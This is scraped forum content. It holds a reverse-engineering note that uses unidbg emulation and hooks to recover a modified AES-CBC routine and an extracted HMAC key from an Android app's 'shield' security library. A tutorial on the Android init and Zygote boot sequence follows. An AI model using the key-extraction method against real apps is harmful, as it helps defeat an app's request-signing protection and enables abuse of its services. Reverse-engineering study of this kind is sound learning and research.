0020: 90 41 5B 2C 00 00 00 00 09 37 0C 40 00 00 00 00 .A[,.....7.@....
0030: 24 00 00 00 00 00 00 00 00 30 15 40 00 00 00 00 $........0.@....
0040: 00 20 15 40 00 00 00 00 60 00 00 00 00 00 00 00 . .@........... 0050: 00 E0 45 40 00 00 00 00 60 00 00 00 00 00 00 00 ..E@....
.......
0060: 8C B2 45 40 00 00 00 00 90 F4 FF BF 00 00 00 00 ..E@............
^-----------------------------------------------------------------------------^
对比模拟的a2数组跟第一排数据一致即可
======================================================================
__int64 __fastcall sub_5290C( # 魔改的AES-CBC解密算法 特点:动态修改IV 非常规化异或路径
__int64 result, # x0,输入密文缓冲区指针
__int64 a2, # 输出明文缓冲区指针
unsigned __int64 a3, # 数据长度
__int64 a4, # 轮秘钥或其他算法参数
unsigned __int64 a5, # iv缓冲区指针 需要关注,每次解密后,代码将当前密文块写入a5指向的位置,导致IV被动态更新(与标准区别不大)
__int64 (__fastcall *a6)(__int64, char *, __int64)) # AES轮函数
总结大致思路:
while (剩余数据长度 > 0) {
// 1. 调用AES解密单块
a6(v8, v36, a4); // v36 = AES_Decrypt(当前块)
1 2 3 4 5 6 7 8 9 10 11 12 | / / 2. 魔改CBC异或操作 for ( int i = 0 ; i< 16 ; i + + ) { / / 异或操作数来自IV缓冲区 plaintext[i] = IV[i] ^ v36[i]; / / 动态污染IV:用当前密文块覆盖IV IV[i] = ciphertext[i]; } / / 3. 指针偏移 v8 + = 16 ; / / 移动到下一个密文块 v9 + = 16 ; / / 移动到下一个明文输出位置 |
}
\\n// 每次解密块时的操作
(v9 + v19) = veorq_s8((a5 + v19), *&v36[v19]); // 使用a5作为IV
*(a5 + v19) = v20; // 将当前密文块写入a5(污染IV)
标准CBC:
密文块N → AES解密 → 中间结果 → 与前一个密文块异或 → 明文N
↑
前一个密文块(N-1)
本代码:
密文块N → AES解密 → 中间结果 → 与动态IV异或 → 明文N
↓ ↑
覆盖IV区 ← 当前密文块
模拟实现 打断点猜测每一部分作用
def sub_5290C(result: bytearray, a2: bytearray, a3: int, a4: bytes, a5: bytearray, a6):
__int64 __fastcall sub_5290C( # 魔改的AES-CBC解密算法 特点:动态修改IV 非常规化异或路径
__int64 result, # x0,输入密文缓冲区指针
__int64 a2, # 输出明文缓冲区指针
unsigned __int64 a3, # 数据长度
__int64 a4, # 轮秘钥
unsigned __int64 a5, # iv缓冲区指针 需要关注,每次解密后,代码将当前密文块写入a5指向的位置,导致IV被动态更新(与标准区别不大)
__int64 (__fastcall *a6)(__int64, char *, __int64)) # AES轮函
拟算法后,对单核心解密函数进行打断点 多次跳转 看看每次返回的值是否一致
\\nencrypt_data = bytes.fromhex(
\\"EE1755BFE9D97ECE5D3215AF401FA9E7\\"
\\"1782CBF447A784694A35EF2AF11CBEE5\\"
\\"41C7660DA56E2C7B7A06C9DCB060C802\\"
\\"5BAD0F98EC194491D4721E361895AFD4\\"
)
result = a6(v8, v36, a4)调用的下一个地址0x52998,可以拿到解密结果 unidbg中跳转到下一次继续观察
第一轮
[11:41:41 073]x1=unidbg@0xbffff2b8, md5=c34941dd6eba0cbabb7670a8ccefcebe, hex=3501323404020861667a6666071766390000000000000000000000000000000090415b2c0000000009370c4000000000240000000000000000301540000000000020154000000000600000000000000000e045400000000060000000000000008cb245400000000090f4ffbf00000000
size: 112
0000: 35 01 32 34 04 02 08 61 66 7A 66 66 07 17 66 39 5.24...afzff..f9
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 90 41 5B 2C 00 00 00 00 09 37 0C 40 00 00 00 00 .A[,.....7.@....
0030: 24 00 00 00 00 00 00 00 00 30 15 40 00 00 00 00 $........0.@....
0040: 00 20 15 40 00 00 00 00 60 00 00 00 00 00 00 00 . .@........... 0050: 00 E0 45 40 00 00 00 00 60 00 00 00 00 00 00 00 ..E@....
.......
0060: 8C B2 45 40 00 00 00 00 90 F4 FF BF 00 00 00 00 ..E@............
^-----------------------------------------------------------------------------^
第一轮
[53, 1, 50, 52, 4, 2, 8, 97, 102, 122, 102, 102, 7, 23, 102, 57]
[0x35, 0x1, 0x32, 0x34, 0x4, 0x2, 0x8, 0x61, 0x7a, 0x66, 0x66, 0x7, 0x17, 0x66, 0x39] 正确
第二轮
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[11:43:05 673]x1=unidbg@0xbffff2b8, md5=f574c2c3f0ee4dd6e8a8326f1cc5eb26, hex=18b85acc43f589ad66fe9e7116654a860000000000000000000000000000000090415b2c0000000009370c4000000000240000000000000000301540000000000020154000000000600000000000000000e045400000000060000000000000008cb245400000000090f4ffbf00000000
size: 112
0000: 18 B8 5A CC 43 F5 89 AD 66 FE 9E 71 16 65 4A 86 ..Z.C...f..q.eJ.
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 90 41 5B 2C 00 00 00 00 09 37 0C 40 00 00 00 00 .A[,.....7.@....
0030: 24 00 00 00 00 00 00 00 00 30 15 40 00 00 00 00 $........0.@....
0040: 00 20 15 40 00 00 00 00 60 00 00 00 00 00 00 00 . .@........... 0050: 00 E0 45 40 00 00 00 00 60 00 00 00 00 00 00 00 ..E@....
.......
0060: 8C B2 45 40 00 00 00 00 90 F4 FF BF 00 00 00 00 ..E@............
^-----------------------------------------------------------------------------^
第二轮
[24, 184, 90, 204, 67, 245, 137, 173, 102, 254, 158, 113, 22, 101, 74, 134]
[0x18, 0xb8, 0x5a, 0xcc, 0x43, 0xf5, 0x89, 0xad, 0x66, 0xfe, 0x9e, 0x71, 0x16, 0x65, 0x4a, 0x86] 正确
第三轮
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[11:52:07 484]x1=unidbg@0xbffff2b8, md5=50fafbacd228b5b34bfac11e1a569a94, hex=bde895500b9f6081aa251947077bd74b0000000000000000000000000000000090415b2c0000000009370c4000000000240000000000000000301540000000000020154000000000600000000000000000e045400000000060000000000000008cb245400000000090f4ffbf00000000
size: 112
0000: BD E8 95 50 0B 9F 60 81 AA 25 19 47 07 7B D7 4B ...P....%.G.{.K 0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020: 90 41 5B 2C 00 00 00 00 09 37 0C 40 00 00 00 00 .A[,.....7.@.... 0030: 24 00 00 00 00 00 00 00 00 30 15 40 00 00 00 00 $........0.@.... 0040: 00 20 15 40 00 00 00 00 60 00 00 00 00 00 00 00 . .@....
.......
0050: 00 E0 45 40 00 00 00 00 60 00 00 00 00 00 00 00 ..E@....`.......
0060: 8C B2 45 40 00 00 00 00 90 F4 FF BF 00 00 00 00 ..E@............
^-----------------------------------------------------------------------------^
第三轮
[189, 232, 149, 80, 11, 159, 96, 129, 170, 37, 25, 71, 7, 123, 215, 75]
[0xbd, 0xe8, 0x95, 0x50, 0xb, 0x9f, 0x60, 0x81, 0xaa, 0x25, 0x19, 0x47, 0x7, 0x7b, 0xd7, 0x4b]
第四轮
[176, 66, 31, 203, 203, 164, 163, 229, 216, 126, 100, 39, 242, 108, 148, 201]
\\n\\n-----------------------------------------------------------------------------<
\\n
[11:59:13 384]x1=unidbg@0xbffff2b8, md5=ece6a6bd88d45da6b505fdcd78a76927, hex=b0421fcbcba4a3e5d87e6427f26c94c90000000000000000000000000000000090415b2c0000000009370c4000000000240000000000000000301540000000000020154000000000600000000000000000e045400000000060000000000000008cb245400000000090f4ffbf00000000
size: 112
0000: B0 42 1F CB CB A4 A3 E5 D8 7E 64 27 F2 6C 94 C9 .B.......~d\'.l..
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 90 41 5B 2C 00 00 00 00 09 37 0C 40 00 00 00 00 .A[,.....7.@....
0030: 24 00 00 00 00 00 00 00 00 30 15 40 00 00 00 00 $........0.@....
0040: 00 20 15 40 00 00 00 00 60 00 00 00 00 00 00 00 . .@........... 0050: 00 E0 45 40 00 00 00 00 60 00 00 00 00 00 00 00 ..E@....
.......
0060: 8C B2 45 40 00 00 00 00 90 F4 FF BF 00 00 00 00 ..E@............
^-----------------------------------------------------------------------------^
第四轮
[\'0xb0\', \'0x42\', \'0x1f\', \'0xcb\', \'0xcb\', \'0xa4\', \'0xa3\', \'0xe5\', \'0xd8\', \'0x7e\', \'0x64\', \'0x27\', \'0xf2\', \'0x6c\', \'0x94\', \'0xc9\']
所以模拟的python代码单块解密已经实现了
即4次调用已经模拟result = a6(v8, v36, a4)
但是从单块解密数据x36 -> a2明文数据(中间这一段的模拟还不正确)
\\nsub_51868(a1, v11, a2, v16, &v15, 0) 查看a2即需要查看这里的v11的解密情况,断点下在sub_51868调用之后
0x4B464处,打印mx1得到v11内存值如下
明文的结果:
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[13:39:17 172]x1=unidbg@0xbffff2b8, md5=acd3942b9c3da4875454256c80774b3e, hex=90ae39716af4b26fa47cc2c9f4b4301a0000000000000000000000000000000090415b2c0000000009370c4000000000240000000000000000301540000000000020154000000000600000000000000000e045400000000060000000000000008cb245400000000090f4ffbf00000000
size: 112
0000: 90 AE 39 71 6A F4 B2 6F A4 7C C2 C9 F4 B4 30 1A ..9qj..o.|....0.
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020: 90 41 5B 2C 00 00 00 00 09 37 0C 40 00 00 00 00 .A[,.....7.@....
0030: 24 00 00 00 00 00 00 00 00 30 15 40 00 00 00 00 $........0.@....
0040: 00 20 15 40 00 00 00 00 60 00 00 00 00 00 00 00 . .@........... 0050: 00 E0 45 40 00 00 00 00 60 00 00 00 00 00 00 00 ..E@....
.......
0060: 8C B2 45 40 00 00 00 00 90 F4 FF BF 00 00 00 00 ..E@............
填充方式
密文是否是16的倍数
是否正确的iv 观察首块异或数据
潜在问题与解决方案
a5的初始值错误:
问题:若a5初始时未正确设置为IV(CBC模式),首块异或会出错。
解决:确认调用此函数时,a5指向正确的初始向量(IV)。
块更新逻辑错误:
问题:在模拟过程中,未正确将当前密文块复制到a5,导致后续块异或数据错误。
解决:确保每轮解密后,将当前密文块(v8)更新到a5,而不是其他数据。
尾部处理不完整:
问题:当数据长度不是16字节对齐时,尾部处理(LABEL_20后的循环)可能未正确模拟。
解决:检查剩余字节的处理逻辑,确保逐字节异或和密文更新。
字节序或内存对齐问题:
问题:v36或a5的数据未按正确的字节序处理(如大端/小端)。
解决:验证内存读写是否符合目标平台的字节序。
验证步骤
检查IV设置:
确保a5初始指向正确的IV,与加密时使用的IV一致。
跟踪首块处理:
解密第一个块时,a6输出v36后,异或操作应使用IV,而非其他数据。
更新a5为第一个密文块(即v8的首16字节)。
逐块对比中间结果:
对比v36(解密后的中间数据)与a5异或后的结果(明文),确认每一步是否符合预期。
使用已知密文/明文对,验证首块和后续块的解密结果。
调试尾部字节:
当数据长度非16倍数时,检查逐字节处理逻辑是否复制正确。
\\niv
\\n\\n\\n-----------------------------------------------------------------------------<
\\n
[13:48:31 505]x4=unidbg@0xbffff340, md5=e6d7ba0d3fc9c38a5d528aea85e8bbdd, hex=3101323404020861667a66660717663949509d45c2e8ffd3875ccce9f8f5960dd9ef91a49dc3e178013a9c5fc33436a9915f8dbb442c70dc9cf97d27c20eaaf631554006d573fd67d8d50dfb5ef7d7d13b3aeacde426bd610da6f09c8622da2a1bae34eedf1c57ace9804dfd8b842ab6
size: 112
0000: 31 01 32 34 04 02 08 61 66 7A 66 66 07 17 66 39 1.24...afzff..f9
0010: 49 50 9D 45 C2 E8 FF D3 87 5C CC E9 F8 F5 96 0D IP.E...........
0020: D9 EF 91 A4 9D C3 E1 78 01 3A 9C 5F C3 34 36 A9 .......x.:..46.
0030: 91 5F 8D BB 44 2C 70 DC 9C F9 7D 27 C2 0E AA F6 ...D,p...}\'....
0040: 31 55 40 06 D5 73 FD 67 D8 D5 0D FB 5E F7 D7 D1 1U@..s.g....^...
0050: 3B 3A EA CD E4 26 BD 61 0D A6 F0 9C 86 22 DA 2A ;:...&.a.....\\".*
0060: 1B AE 34 EE DF 1C 57 AC E9 80 4D FD 8B 84 2A B6 ..4...W...M...*.
^-----------------------------------------------------------------------------^
解密后的v36与a5指向的数据进行逐字节异或,生成明文存入a2:
(v9 + v19) = veorq_s8((a5 + v19), *&v36[v19]); // v9指向a2
a5的作用:可能是前一个密文块(CBC模式中的IV或前一块),每次处理后更新为当前密文块:
*(a5 + v19) = v20; // v20是当前密文块(v8)
v19 = 0
v20 = *(v8 + v19); // v8指向密文的数据
LDR Q2, [X20,X10]
\\"ldr q2, [x20, x10]\\" x20=0x40152000 x10=0x0 -> 查询0x40152000
从内存地址 X20 + X10 处读取 128 位(16 字节) 的数据。
// v9 = a2 存储明文数据
// a5取出iv的值(8字节)
// v36是a6解出来的明文数据
(v9 + v19) = veorq_s8((a5 + v19), *&v36[v19]); // 关键位置
验证第一步
plain_block = bytes([
decrypted_bytes[j] ^ current_iv[j] # 验证此处每一块的结果是否一致
for j in range(16)
])
hook 打印V0和V1的值对比本地代码的步骤
.text&ARM.extab:0000000000052A5C 00 6B EA 3C LDR Q0, [X24,X10]
.text&ARM.extab:0000000000052A60 61 6A EA 3C LDR Q1, [X19,X10]
.text&ARM.extab:0000000000052A64 82 6A EA 3C LDR Q2, [X20,X10]
.text&ARM.extab:0000000000052A68 20 1C 20 6E EOR V0.16B, V1.16B, V0.16B
V0和V1分别来自Q0和Q1,故打印X24和X19的值即可
\\nunidbg中hook打印了多次
num=======================m============1
hexString19===3101323404020861667A666607176639 ==> Q1 -> X19 -> a5 (初始iv)
hexString24===3501323404020861667A666607176639 ==> Q0 -> X24 -> v36 (块解密中间值)
decrypted_bytes = [0x35, 0x1, 0x32, 0x34, 0x04, 0x02, 0x08, 0x61, 0x66, 0x7a, 0x66, 0x66, 0x07, 0x17, 0x66, 0x39] 第一轮解密的值 (一致)
num=======================m============2
hexString19===EE1755BFE9D97ECE5D3215AF401FA9E7 ==> 第一轮密文
hexString24===18B85ACC43F589AD66FE9E7116654A86
decrypted_bytes = [\'0x18\', \'0xb8\', \'0x5a\', \'0xcc\', \'0x43\', \'0xf5\', \'0x89\', \'0xad\', \'0x66\', \'0xfe\', \'0x9e\', \'0x71\', \'0x16\', \'0x65\', \'0x4a\', \'0x86\']
num=======================m============3
hexString19===1782CBF447A784694A35EF2AF11CBEE5 ==> 第二轮密文
hexString24===BDE895500B9F6081AA251947077BD74B
decrypted_bytes = [\'0xbd\', \'0xe8\', \'0x95\', \'0x50\', \'0xb\', \'0x9f\', \'0x60\', \'0x81\', \'0xaa\', \'0x25\', \'0x19\', \'0x47\', \'0x7\', \'0x7b\', \'0xd7\', \'0x4b\']
num=======================m============4
hexString19===41C7660DA56E2C7B7A06C9DCB060C802 ==> 第三轮密文
hexString24===B0421FCBCBA4A3E5D87E6427F26C94C9
decrypted_bytes = [\'0xb0\', \'0x42\', \'0x1f\', \'0xcb\', \'0xcb\', \'0xa4\', \'0xa3\', \'0xe5\', \'0xd8\', \'0x7e\', \'0x64\', \'0x27\', \'0xf2\', \'0x6c\', \'0x94\', \'0xc9\']
num=======================m============5
hexString19===5BAD0F98EC194491D4721E361895AFD4 ==> 第四轮密文
hexString24===F74D82F41C74C0A645065730AF3C4908 ==> ? (依旧是块解密中间数据)
[\'0xf7\', \'0x4d\', \'0x82\', \'0xf4\', \'0x1c\', \'0x74\', \'0xc0\', \'0xa6\', \'0x45\', \'0x6\', \'0x57\', \'0x30\', \'0xaf\', \'0x3c\', \'0x49\', \'0x8\']
num=======================m============6
hexString19===80BE29617AE4A27FB46CD2D9E4A4200A ==> ? 猜测应该是第五轮密文 (毕竟之前只复制了4轮的密文)
hexString24===90AE39716AF4B26FA47CC2C9F4B4301A ==> ? (块解密中间数据)
[\'0x90\', \'0xae\', \'0x39\', \'0x71\', \'0x6a\', \'0xf4\', \'0xb2\', \'0x6f\', \'0xa4\', \'0x7c\', \'0xc2\', \'0xc9\', \'0xf4\', \'0xb4\', \'0x30\', \'0x1a\']
print(\'0x0\'+hex(0x3101323404020861667A666607176639^0x3501323404020861667A666607176639)[2:])
print(hex(0xEE1755BFE9D97ECE5D3215AF401FA9E7^0x18B85ACC43F589AD66FE9E7116654A86))
print(hex(0x1782CBF447A784694A35EF2AF11CBEE5^0xBDE895500B9F6081AA251947077BD74B))
print(hex(0x41C7660DA56E2C7B7A06C9DCB060C802^0xB0421FCBCBA4A3E5D87E6427F26C94C9))
print(hex(0x5BAD0F98EC194491D4721E361895AFD4^0xF74D82F41C74C0A645065730AF3C4908))
print(hex(0x80BE29617AE4A27FB46CD2D9E4A4200A^0x90AE39716AF4B26FA47CC2C9F4B4301A))
0x04000000000000000000000000000000
0xf6af0f73aa2cf7633bcc8bde567ae361
0xaa6a5ea44c38e4e8e010f66df66769ae
0xf18579c66eca8f9ea278adfb420c5ccb
0xace08d6cf06d843791744906b7a9e6dc
0x10101010101010101010101010101010
与hook到的解密后的HMAC_KEY对比
F6 AF 0F 73 AA 2C F7 63 3B CC 8B DE 56 7A E3 61
AA 6A 5E A4 4C 38 E4 E8 E0 10 F6 6D F6 67 69 AE
F1 85 79 C6 6E CA 8F 9E A2 78 AD FB 42 0C 5C CB
AC E0 8D 6C F0 6D 84 37 91 74 49 06 B7 A9 E6 DC
密文需要填充吗 -> pkcs7填充过的值
将6轮解密的异或值保存下来就是结果
Decrypted: 04000000000000000000000000000000f6af0f73aa2cf7633bcc8bde567ae361aa6a5ea44c38e4e8e010f66df66769aef18579c66eca8f9ea278adfb420c5ccbace08d6cf06d843791744906b7a9e6dc10101010101010101010101010101010
.text&ARM.extab:0000000000052A6C A0 6A AA 3C STR Q0, [X21,X10]
误区,明文值不是打印a2
trace搜索0x52A6C,发现保存到了0x4045e000
[09:33:28 972][libshield.so 0x052a6c] [a06aaa3c] 0x40052a6c: \\"str q0, [x21, x10]\\" x21=0x4045e000 x10=0x0
在循环结束后的0x52A84打印0x4045e000 并且unidbg c跳转6次循环再打印得到最后解密结果
m0x4045e000
\\n\\n-----------------------------------------------------------------------------<
\\n
[16:20:49 897]RW@0x4045e000, md5=3d7c40ab0808586d112ed8472fc7e16a, hex=04000000000000000000000000000000f6af0f73aa2cf7633bcc8bde567ae361aa6a5ea44c38e4e8e010f66df66769aef18579c66eca8f9ea278adfb420c5ccbace08d6cf06d843791744906b7a9e6dc1010101010101010101010101010101000000000000000000000000000000000
size: 112
0000: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010: F6 AF 0F 73 AA 2C F7 63 3B CC 8B DE 56 7A E3 61 ...s.,.c;...Vz.a
0020: AA 6A 5E A4 4C 38 E4 E8 E0 10 F6 6D F6 67 69 AE .j^.L8.....m.gi.
0030: F1 85 79 C6 6E CA 8F 9E A2 78 AD FB 42 0C 5C CB ..y.n....x..B..
0040: AC E0 8D 6C F0 6D 84 37 91 74 49 06 B7 A9 E6 DC ...l.m.7.tI.....
0050: 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ................
0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
^-----------------------------------------------------------------------------^
至此完成全部推理
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n\\n\\n\\n\\n\\n\\n\\n","description":"shield8.32.0版本 学习了如画佬的文章,关上教程复现的笔记\\n1.jstring NewStringUTF(JNIEnv *env, const char *bytes);\\n在汇编中第二个参数X1存储的是加密字符串,将cstring转成java字符串,从而拿到加密结果\\nmx1 ==> x1=RW@0x40461018 只需要弄清楚 x1存储的这个部分的值是怎么来的即可\\n[11:09:16 607]x1=RW@0x40461018, md5=992e3fffb0a5d31387be3ead9ecc9d5d, hex…","guid":"https://bbs.kanxue.com/thread-285953.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2025-03-10T14:29:50.760Z","media":null,"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]安卓启动流程初探","url":"https://bbs.kanxue.com/thread-285949.htm","content":"\\n\\n\\n\\nAPK,启动!
\\n
引导加载程序-内核启动-init进程启动-Zygote进程启动-System Server进程-启动框架和用户界面-应用程序启动
\\n总体上,安卓的架构分布底层的内核空间以Linux Kernel为基础,上层的用户空间由Native系统库、虚拟机运行环境(ART)、框架层(Java API Framework)组成。两层空间由系统调用(Syscall)联通。
\\n相比于静态去看安卓的架构,任何系统是实时运行,不断交互的,逐步分析,庖丁解牛,可以发现架构间各层次的关系。
\\nBoot Rom是记录了引导启动的只读寄存器(Read Only Memory),按下电源键后,改变引导芯片开始从固化在ROM里的预设代码开始执行,然后加载引导程序到RAM
\\n随后,来到Boot Loader(我们熟悉的bl锁说的就是这里)启动安卓系统前的引导程序。 Bootloader有时被锁定,以防止未经授权的系统修改
swapper
进程(又称为idle进程,pid = 0)负责初始化进程管理、内存管理,加载Display,Camera Driver,Binder Driver等相关工作kthreadd进程是所有内核进程的鼻祖
Hardware Abstraction Layer 其中有多个库模块(蓝牙wifi等),当java框架层要访问硬件就会用到这
\\n其中涉及到了我们最想关注的安卓层面的加载流程,虚拟机的作用就不再多说,经过swapper进程在native层启动了Init进程(pid = 1,也就是安卓源码中的init.cpp)init进程是所有用户进程的鼻祖
为什么这么说,看他的作用
servicemanager
(binder服务管家)、bootanim
(开机动画)等重要服务Zygote是所有Java进程的父进程
,Zygote进程本身是由init进程孵化而来的。在此层次中,init
进程解析了init.rc
文件fork
生成了关键的Zygote
进程(翻译为受精卵,此进程也称为安卓的应用进程孵化器,是所有应用进程的父进程)对于此孵化进程,他会加载
Zygote孵化的第一个进程是System Server
,此进程负责启动与管理整个Java Framework
包含了ActivityManager,WindowManager,PackageManager,PowerManager等服务。
Media Server不是由Zygote进程孵化而来的,而是由init生成,他负责启动与管理C++ framework
包含AudioFlinger,Camera Service等服务。
Zygote进程孵化出的第一个app进程为Launcher,通俗来讲就是我们的桌面app;所有的app进程都是由zygote进程fork而来的
\\n第一个系统调用是native与内核之间的联系,第二个JNI是java层与native层之间的联系
\\n从内核启动的第一个进程init开始看,我们在相应的目录,也就是安卓源码/system/core/init/目录下的init.cpp文件
\\n关注main函数,可以大致把init的加载流程分为一下几个部分
\\n程序入口,判断调用uevent还是看门狗守护进程
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 | int main( int argc, char ** argv) { if (! strcmp (basename(argv[0]), \\"ueventd\\" )) { return ueventd_main(argc, argv); } if (! strcmp (basename(argv[0]), \\"watchdogd\\" )) { return watchdogd_main(argc, argv); } if (REBOOT_BOOTLOADER_ON_PANIC) { InstallRebootSignalHandlers(); } } // namespace android |
第一阶段又分为以下几个部分
\\nmount
挂载tmpfs
, proc
, sysfs
, selinuxfs
等虚拟文件系统;创建设备节点(如/dev/kmsg
, /dev/random
)selinux_initialize(true)
),加载安全策略;恢复/init
文件的上下文:selinux_android_restorecon(\\"/init\\", 0)
。setenv(\\"INIT_SECOND_STAGE\\", \\"true\\", 1)
;使用execv
重新启动/init
程序,将域从kernel
切换为init
。【最后步骤很关键,重新启动init的过程也讲加载的权限进一步降低,在整个第一阶段都是以权限极高的kernel执行,转化为init域后权限降低,更为安全,这个就是SELinux安全策略的作用】
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | add_environment( \\"PATH\\" , _PATH_DEFPATH); bool is_first_stage = ( getenv ( \\"INIT_SECOND_STAGE\\" ) == nullptr); //判断第一阶段 if (is_first_stage) { boot_clock::time_point start_time = boot_clock::now(); // Clear the umask. umask(0); //这里加载必要的虚拟文件 // Get the basic filesystem setup we need put together in the initramdisk // on / and then we\'ll let the rc file figure out the rest. mount( \\"tmpfs\\" , \\"/dev\\" , \\"tmpfs\\" , MS_NOSUID, \\"mode=0755\\" ); mkdir( \\"/dev/pts\\" , 0755); mkdir( \\"/dev/socket\\" , 0755); mount( \\"devpts\\" , \\"/dev/pts\\" , \\"devpts\\" , 0, NULL); #define MAKE_STR(x) __STRING(x) mount( \\"proc\\" , \\"/proc\\" , \\"proc\\" , 0, \\"hidepid=2,gid=\\" MAKE_STR(AID_READPROC)); // Don\'t expose the raw commandline to unprivileged processes. chmod( \\"/proc/cmdline\\" , 0440); gid_t groups[] = { AID_READPROC }; setgroups(arraysize(groups), groups); mount( \\"sysfs\\" , \\"/sys\\" , \\"sysfs\\" , 0, NULL); mount( \\"selinuxfs\\" , \\"/sys/fs/selinux\\" , \\"selinuxfs\\" , 0, NULL); mknod( \\"/dev/kmsg\\" , S_IFCHR | 0600, makedev(1, 11)); mknod( \\"/dev/random\\" , S_IFCHR | 0666, makedev(1, 8)); mknod( \\"/dev/urandom\\" , S_IFCHR | 0666, makedev(1, 9)); // Now that tmpfs is mounted on /dev and we have /dev/kmsg, we can actually // talk to the outside world... InitKernelLogging(argv); LOG(INFO) << \\"init first stage started!\\" ; if (!DoFirstStageMount()) { LOG(ERROR) << \\"Failed to mount required partitions early ...\\" ; panic(); } SetInitAvbVersionInRecovery(); //这里设置SELinux安全策略 // Set up SELinux, loading the SELinux policy. selinux_initialize( true ); //恢复/init文件上下文 // We\'re in the kernel domain, so re-exec init to transition to the init domain now // that the SELinux policy has been loaded. if (selinux_android_restorecon( \\"/init\\" , 0) == -1) { PLOG(ERROR) << \\"restorecon failed\\" ; security_failure(); } //说明已经执行过了第一阶段 setenv( \\"INIT_SECOND_STAGE\\" , \\"true\\" , 1); static constexpr uint32_t kNanosecondsPerMillisecond = 1e6; uint64_t start_ms = start_time.time_since_epoch().count() / kNanosecondsPerMillisecond; setenv( \\"INIT_STARTED_AT\\" , std::to_string(start_ms).c_str(), 1); char * path = argv[0]; char * args[] = { path, nullptr }; //重新启动init程序/经过此步骤的重新加载,权限降低 execv(path, args); // execv() only returns if an error happened, in which case we // panic and never fall through this conditional. PLOG(ERROR) << \\"execv(\\\\\\"\\" << path << \\"\\\\\\") failed\\" ; security_failure(); } |
第二阶段分为以下几个部分
\\nActionManager
与 ServiceManager
)至此章节开始的流程图初始化的Zygote和ServiceManager步骤就知道是在哪里实现的了
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | //文件与属性的初始化操作 // At this point we\'re in the second stage of init. InitKernelLogging(argv); LOG(INFO) << \\"init second stage started!\\" ; // Set up a session keyring that all processes will have access to. It // will hold things like FBE encryption keys. No process should override // its session keyring. keyctl_get_keyring_ID(KEY_SPEC_SESSION_KEYRING, 1); // Indicate that booting is in progress to background fw loaders, etc. close(open( \\"/dev/.booting\\" , O_WRONLY | O_CREAT | O_CLOEXEC, 0000)); property_init(); // If arguments are passed both on the command line and in DT, // properties set in DT always have priority over the command-line ones. process_kernel_dt(); process_kernel_cmdline(); // Propagate the kernel variables to internal variables // used by init as well as the current required properties. export_kernel_boot_props(); // Make the time that init started available for bootstat to log. property_set( \\"ro.boottime.init\\" , getenv ( \\"INIT_STARTED_AT\\" )); property_set( \\"ro.boottime.init.selinux\\" , getenv ( \\"INIT_SELINUX_TOOK\\" )); // Set libavb version for Framework-only OTA match in Treble build. const char * avb_version = getenv ( \\"INIT_AVB_VERSION\\" ); if (avb_version) property_set( \\"ro.boot.avb_version\\" , avb_version); // Clean up our environment. unsetenv( \\"INIT_SECOND_STAGE\\" ); unsetenv( \\"INIT_STARTED_AT\\" ); unsetenv( \\"INIT_SELINUX_TOOK\\" ); unsetenv( \\"INIT_AVB_VERSION\\" ); //重新初始化SELinux // Now set up SELinux for second stage. selinux_initialize( false ); selinux_restore_context(); //事件与信号处理 epoll_fd = epoll_create1(EPOLL_CLOEXEC); if (epoll_fd == -1) { PLOG(ERROR) << \\"epoll_create1 failed\\" ; exit (1); } signal_handler_init(); //进一步解析脚本 property_load_boot_defaults(); export_oem_lock_status(); start_property_service(); set_usb_controller(); const BuiltinFunctionMap function_map; Action::set_function_map(&function_map); ActionManager& am = ActionManager::GetInstance(); ServiceManager& sm = ServiceManager::GetInstance(); Parser& parser = Parser::GetInstance(); parser.AddSectionParser( \\"service\\" , std::make_unique<ServiceParser>(&sm)); parser.AddSectionParser( \\"on\\" , std::make_unique<ActionParser>(&am)); parser.AddSectionParser( \\"import\\" , std::make_unique<ImportParser>(&parser)); //解析init.rc脚本,我们最关注的Zygote进程会在这里进一步初始化 std::string bootscript = GetProperty( \\"ro.boot.init_rc\\" , \\"\\" ); if (bootscript.empty()) { parser.ParseConfig( \\"/init.rc\\" ); parser.set_is_system_etc_init_loaded( parser.ParseConfig( \\"/system/etc/init\\" )); parser.set_is_vendor_etc_init_loaded( parser.ParseConfig( \\"/vendor/etc/init\\" )); parser.set_is_odm_etc_init_loaded(parser.ParseConfig( \\"/odm/etc/init\\" )); } else { parser.ParseConfig(bootscript); parser.set_is_system_etc_init_loaded( true ); parser.set_is_vendor_etc_init_loaded( true ); parser.set_is_odm_etc_init_loaded( true ); } //事件管理与服务启动 // Turning this on and letting the INFO logging be discarded adds 0.2s to // Nexus 9 boot time, so it\'s disabled by default. if ( false ) DumpState(); am.QueueEventTrigger( \\"early-init\\" ); // Queue an action that waits for coldboot done so we know ueventd has set up all of /dev... am.QueueBuiltinAction(wait_for_coldboot_done_action, \\"wait_for_coldboot_done\\" ); // ... so that we can start queuing up actions that require stuff from /dev. 